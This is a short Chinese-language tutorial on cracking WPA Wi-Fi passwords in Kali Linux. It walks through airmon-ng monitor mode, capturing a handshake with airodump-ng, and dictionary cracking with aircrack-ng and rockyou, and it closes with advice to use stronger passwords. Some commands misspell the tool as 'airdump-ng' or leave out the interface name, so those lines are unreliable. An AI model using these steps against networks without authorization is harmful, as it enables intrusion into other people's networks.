kali linux的wifi破解
破解網路的步驟是
1 開啟網卡的監聽模式
2找到目標的mac地址
3 獲取握手包(handshake)
4破解密碼
1開啟監聽模式
監聽模式不是每張網卡都可以開啟,要使用支援監聽模式的網卡才能啟用.
輸入iwconfig.可以發現網路卡那邊模式顯示的是managed

開啟監聽模式可以使用指令 sudo airmon-ng start 網卡名稱
ex:sudo airmon-ng start wlan0
打完指令後使用iwconfig就可發現模式變成monitor

2 開啟監聽模式後就可以利用sudo airodump-ng 網卡名稱
ex:sudo airodump-ng wlan0mon
輸入後就可以看到附近網路的各種訊息

bssid就是mac地址 essid是網路名 ch是頻道數 現在只會用到這三個
3 得到mac地址後就可以開始取得握手包了可以先用sudo airdump-ng 網卡名稱 -d mac地址
ex:sudo airdump-ng wlan0mon -d 00:00:00:00:00:00
輸入後就可以得到更詳細的資訊
這行在抓取到握手包後就會跑出新訊息

使用sudo airdump-ng -w 檔案名稱 -c頻道數 --bssid mac地址 網卡名稱
ex:sudo airdump-ng -w test -c 11 --bssid 00:00:00:00:00:00
成功後就會顯示wpa handshake

4 獲取握手包後就可以開始破解密碼,我使用的是kali linux內建的字典rockyou
輸入aircrack-ng -w 字典路徑 握手包名稱
ex:aircrack-ng -w /usr/share/wordlists/rockyou.txt test.cap
完成後密碼就會在key found顯示


這種很簡單的密碼破解速度很快也很容易,像這種字典只能破解裡面現有的東西但還是有很多人用字典裡面就有的簡單密碼,如果是用人名或其他只有英文跟數字的密碼也可以用hashcat去做破解所以快點換一個複雜一點的密碼吧!
(以上操作皆使用自己的網路和設備)
喜欢我的作品吗?别忘了给予支持与赞赏,让我知道在创作的路上有你陪伴,一起延续这份热忱!

